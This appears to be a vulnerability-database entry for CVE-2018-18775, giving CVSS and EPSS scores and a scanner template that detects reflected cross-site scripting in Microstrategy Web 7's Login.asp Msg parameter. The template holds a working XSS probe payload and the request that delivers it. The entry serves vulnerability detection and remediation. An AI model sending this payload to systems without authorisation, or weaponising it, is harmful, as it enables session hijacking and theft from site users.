4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
41.2%
Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.
id: CVE-2018-18775
info:
name: Microstrategy Web 7 - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application.
reference:
- https://www.exploit-db.com/exploits/45755
- http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-18775
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-18775
cwe-id: CWE-79
epss-score: 0.00157
epss-percentile: 0.51189
cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microstrategy
product: microstrategy_web
tags: cve2018,cve,microstrategy,xss,edb,packetstorm,intrusive
http:
- method: GET
path:
- "{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(/{{randstr}}/);</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100809f2352b8438e48db6f5c41fb1b71b106d602293b0784723a774df69362d3b902205d554854a2db4dac5de03ccf4f72bf0c69a17fa8f5a6deabcea70cbdc609dedc:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
41.2%